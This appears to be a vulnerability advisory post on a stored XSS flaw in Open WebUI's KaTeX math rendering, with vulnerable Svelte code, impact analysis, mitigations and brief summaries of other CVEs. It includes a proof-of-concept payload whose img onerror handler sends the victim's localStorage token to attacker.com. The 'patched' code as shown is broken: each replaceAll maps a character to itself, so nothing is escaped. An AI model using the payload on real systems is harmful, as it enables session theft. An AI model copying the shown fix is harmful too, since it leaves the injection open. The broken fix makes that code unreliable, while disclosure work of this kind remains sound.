Aug 5, 2026·10 min read·18 visits
A stored XSS vulnerability in Open WebUI (v0.10.0 to <0.11.0) allows authenticated attackers to execute arbitrary JavaScript in user sessions by forcing a call stack limit error in KaTeX, bypassing error handling and triggering an unescaped HTML fallback rendering path.
CVE-2026-70492 (also tracked as GHSA-pwxh-7358-jq2x) is a stored Cross-Site Scripting (XSS) vulnerability in Open WebUI versions 0.10.0 through 0.10.x. The flaw arises because engine-level JavaScript stack overflow errors escape KaTeX standard error handling. Svelte's fallback rendering path assigns the raw, unescaped mathematical input string directly to the DOM using the unsafe {@html} directive, enabling arbitrary client-side code execution. This allows attackers to steal session tokens and perform unauthorized administrative actions when users view malicious messages. The vulnerability has been fully resolved in version 0.11.0.
Open WebUI is a self-hosted, highly extensible web user interface designed to interface with various artificial intelligence backends. The application supports mathematical rendering within its chat messages using the KaTeX library via a dedicated Svelte component named KatexRenderer.svelte. This component parses mathematical notations delimited by specific tokens such as double dollar signs and renders them into HTML on the client side. The attack surface is exposed directly through standard chat interactions, allowing users with message-posting privileges to submit arbitrary inputs.
A stored Cross-Site Scripting (XSS) vulnerability, registered as CVE-2026-70492, exists in this mathematical rendering flow. An authenticated attacker can insert a maliciously structured string containing highly nested mathematical delimiters to crash the parser engine. When the engine encounters a fatal runtime stack overflow error, the component's internal exception handler fails to apply sanitization. Consequently, the raw, unescaped payload is written directly to the DOM, compromising the security boundary of the web application.
The core weakness is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). This vulnerability allows unauthorized execution of client-side code whenever another user, such as a platform administrator, views the compromised chat log or shared channel. Because Open WebUI handles sensitive authentication materials and API keys on the frontend, the execution of arbitrary JavaScript inside a victim's active session results in severe compromise of system confidentiality and integrity. Below is a visual representation of the execution path that leads from input delivery to the execution of the stored script payload in the browser of the victim.
The root cause of the vulnerability lies in how the KatexRenderer.svelte component manages runtime exceptions generated by the underlying KaTeX parser. In typical operations, mathematical strings are rendered using KaTeX's renderToString function. The component configures the library with the throwOnError: false parameter, which is intended to suppress parsing exceptions. When this setting is active, KaTeX intercepts syntax violations, such as unbalanced LaTeX operators, and generates a structured, safe HTML element containing a visual error message instead of throwing an exception.
However, the throwOnError option is only capable of capturing structured ParseError objects thrown by KaTeX's internal lexical analyzer and parser. It cannot intercept engine-level exceptions thrown by the JavaScript runtime environment. When an input string contains deep structural nesting, such as thousands of consecutive opening braces, the recursive descent algorithm of the parser executes repeatedly. This recursion rapidly exhausts the execution stack allocated to the thread by the browser's JavaScript engine.
This stack exhaustion triggers a fatal engine-level RangeError: Maximum call stack size exceeded. Chromium-based browsers generally limit the stack size to around 10,000 frames depending on memory and configuration, whereas Safari and Firefox have different thresholds. This variance is why the recursion depth must be sufficiently high to trigger a stack overflow across multiple environments. The RangeError is thrown directly by the V8 or JavaScriptCore engine, skipping Svelte's context boundary. Because this error is a native runtime exception and not a parser-level error, the internal exception handling mechanisms of KaTeX are bypassed entirely. The RangeError propagates up the call stack until it is intercepted by the outer try-catch block implemented inside the Svelte component.
The implementation of the catch block contains a design flaw where it assumes any caught exception represents a minor syntax issue. Upon catching the runtime exception, the component assigns the unmodified, raw user-supplied string directly to the rendering variable. This bypasses all downstream validation or parsing filters. Because the raw, unescaped input contains both the recursion-inducing braces and functional HTML tags, the unsafe input is made ready for output generation.
To understand the structural flaw, we can examine the vulnerable implementation of the Svelte rendering component prior to version 0.11.0. The reactive block in the component manages the rendering lifecycle of the math markup whenever the content variable changes.
<script>
import katex from 'katex';
const { renderToString } = katex;
export let content = '';
export let displayMode = false;
let renderedHTML = '';
$: {
try {
// High-recursion inputs trigger a runtime RangeError here
renderedHTML = renderToString(content, { displayMode, throwOnError: false });
} catch {
// Vulnerable fallback path assigns unescaped user string
renderedHTML = content;
}
}
</script>
<!-- The unsafe Svelte directive outputs raw HTML without sanitization -->
{@html renderedHTML}The component relies on the Svelte compiler's {@html} directive to render the output of the mathematical conversion. The compiler assumes that any variable passed to this directive has already been fully sanitized by the rendering library. Since the catch block sets renderedHTML to the raw, unescaped content variable when a stack overflow occurs, Svelte injects the user's raw string directly into the Document Object Model (DOM).
In Svelte, a reactive statement runs on the client-side during the state synchronization phase. When the runtime exception escapes the try block, the assignment renderedHTML = content occurs synchronously. The subsequent DOM rendering of renderedHTML executes with no sanitization step because the Svelte compiler generates code that uses element.innerHTML directly for {@html} tags, omitting standard sanitization routines.
In version 0.11.0, the developers addressed this vulnerability in commit bc600d3f085802c45aa8f38c30e6e8c986bde6cc by sanitizing the fallback value when an exception occurs. The remediation replaces the vulnerable assignment with a chain of replacement operations designed to neutralize HTML syntax tokens.
<script>
import katex from 'katex';
const { renderToString } = katex;
export let content = '';
export let displayMode = false;
let renderedHTML = '';
$: {
try {
renderedHTML = renderToString(content, { displayMode, throwOnError: false });
} catch {
// Fix: Escape critical HTML characters to prevent tag injection
renderedHTML = content
.replaceAll('&', '&')
.replaceAll('<', '<')
.replaceAll('>', '>');
}
}
</script>
{@html renderedHTML}The .replaceAll() chain ensures that characters such as < and > are converted to their corresponding HTML entities (< and >). Consequently, when Svelte processes the renderedHTML variable through the {@html} directive, the browser interprets the escaped entities strictly as literal text rather than executable markup. This prevents the browser from instantiating any HTML tags or executing embedded scripts.
Exploitation of this vulnerability requires the attacker to have account access to the target Open WebUI instance, which is typical for self-hosted collaborative or multi-user AI platforms. The attack payload is delivered by posting a specifically crafted message inside a chat thread or a shared communication channel. The payload must satisfy two criteria: it must exhaust the call stack of the browser's JavaScript engine to trigger the exception, and it must contain a client-side execution block.
The engine-level exception is achieved by nesting thousands of braces inside mathematical block delimiters. The parser attempts to process these structures recursively, consuming the stack frame allocation. Because different browsers allocate varying call stack limits, an attacker can specify a high number of nested characters (such as 10,000 sets of nested braces) to guarantee stack exhaustion across all major browser engines, including Chromium, Gecko, and WebKit.
An active HTML element is appended directly after or within the nested structure. A typical payload utilizes an <img> tag with an invalid source attribute and an inline onerror event handler. When the browser attempts to render this tag, the loading of the invalid source fails, immediately firing the onerror JavaScript callback. Alternatively, standard <script> tags can be used as Svelte's direct DOM injection parses and executes script blocks under the application's origin context.
The attack is entirely self-contained. The browser environment parses the injected HTML element in the context of the Open WebUI origin. Because the application uses cookies or localStorage for authentication, the script running under this origin can issue API requests to /api/v1 on behalf of the user. This allows the attacker to silently add administrative keys, change the email address of the administrator, or download chat histories.
A proof-of-concept payload targeting the local storage authentication tokens can be constructed as follows:
$$ {{{{ ...[repeated 10000 times]... }}}} <img src="x" onerror="fetch('https://attacker.com/log?token=' + encodeURIComponent(localStorage.token))"> $$Upon viewing the message, the victim's browser throws a call stack exception, executes the fallback routine, renders the unescaped image element, and triggers the exfiltration fetch request containing the active OAuth or Svelte token.
The security impact of CVE-2026-70492 is classified as high, carrying a CVSS base score of 8.7. Since the vulnerability is stored, the malicious script executes automatically when users navigate to a thread containing the infected message. This eliminates the need for complex phishing campaigns, as the target simply needs to access standard platform elements, such as shared chats, public channels, or collaborative workspaces.
The main consequence of successful exploitation is complete session hijacking. Because Open WebUI stores session tokens within the browser's local storage (localStorage.token), an executed script can read these values and transmit them to an external server. Once the attacker obtains this token, they can clone the session of the victim, gaining unauthorized access to the application without needing to pass through authentication challenges or multi-factor authentication checks.
If an administrative user views the compromised thread, the consequences extend to total platform takeover. The administrative token grants full control over the Open WebUI instance, enabling the attacker to modify global configurations, access private models, manipulate user accounts, or expose underlying system APIs. In environments where the platform is linked to enterprise infrastructure or proprietary databases, this compromise exposes internal corporate data to external exfiltration.
Additionally, client-side execution allows the attacker to perform state-changing actions on behalf of the victim. This includes posting messages to other channels, altering user profile settings, inviting unauthorized external users to private workspaces, or initiating model training tasks. The combination of stored persistence and automatic execution makes this vulnerability highly reliable for targeted internal attacks.
The definitive remediation for CVE-2026-70492 is to upgrade the Open WebUI installation to version 0.11.0 or higher. This release integrates the character replacement logic inside the Svelte template component, ensuring that all runtime exceptions are handled with strict HTML sanitization. Administrators using containerized deployments should pull the updated image tag from the official registry and redeploy the service to ensure the patch is applied across all active nodes.
For environments where an immediate upgrade is not feasible, temporary workarounds must be applied to reduce the attack surface. Web Application Firewalls (WAF) can be configured to inspect incoming HTTP POST requests directed at chat and workspace endpoints. Rules should be established to identify and block incoming payloads containing excessively deep sequences of nested braces combined with typical HTML tag delimiters or event handlers such as onerror and onload.
Administrators can also audit database contents to detect potential exploitation attempts. Running targeted SQL queries against message tables allows security teams to identify records that match exploitation patterns, such as mathematical delimiters enclosing HTML tags or extensive nesting. Detected records should be removed or modified to prevent execution if accessed by users. Long-term defensive strategies should focus on implementing robust Content Security Policies (CSP) to limit the impact of potential client-side script execution vulnerabilities. Restricting script execution to specific trusted domains and disabling the execution of inline scripts (unsafe-inline) helps mitigate the impact of stored XSS, preventing unauthorized outbound connections and API calls even if a script injection occurs.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
open-webui open-webui | >= 0.10.0, < 0.11.0 | 0.11.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 8.7 (High) |
| Exploit Status | Proof-of-Concept Available |
| CISA KEV Status | Not Listed |
| Vulnerability Class | Stored Cross-Site Scripting (XSS) |
The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
An unauthenticated Denial of Service vulnerability exists in the s2n-quic library's CryptoStream reassembler due to a lack of buffer limits on out-of-order cryptographic frames. An attacker can transmit a crafted CRYPTO frame with an extremely high offset and nominal payload, forcing the receiver to execute unbounded memory allocations and causing service crashes.
A JNDI Injection and Deserialization Gadget vulnerability exists in mchange-commons-java prior to version 0.6.0. The com.mchange.v2.naming.JavaBeanObjectFactory component permits arbitrary class instantiation and setter invocation, allowing attackers to perform Server-Side Request Forgery (SSRF) and remote class loading.
SurrealDB versions supporting element-level SELECT permissions on arrays are vulnerable to a logical authorization bypass. Due to an index-shifting error during array filtration, restricted elements can skip permission checks and leak to unauthorized record users.
CVE-2026-12243 is a path traversal vulnerability in the Natural Language Toolkit (NLTK) version 3.9.4. The flaw exists because the input validation routine fails to account for percent-encoded directory traversal sequences like '..%2f' before passing them to urllib.request.url2pathname(), which decodes them into active traversal sequences.
CVE-2026-73654 is a high-severity prototype pollution vulnerability in Trigger.dev. The flaw occurs during the handling of run-metadata updates through the PUT /api/v1/runs/:runId/metadata endpoint. Because user-supplied keys are parsed directly by the @jsonhero/path library without sanitization, an authenticated attacker with low privileges can pollute the global Object.prototype. This causes database queries via Prisma ORM to fail validation and induces unhandled exceptions in the Prometheus metrics client, resulting in a process-wide denial of service.
CVE-2026-73559 is an uncontrolled resource consumption vulnerability in the vLLM engine, specifically within the /v1/completions API endpoint, allowing authenticated attackers to cause application-level denial of service via unbounded prompt arrays.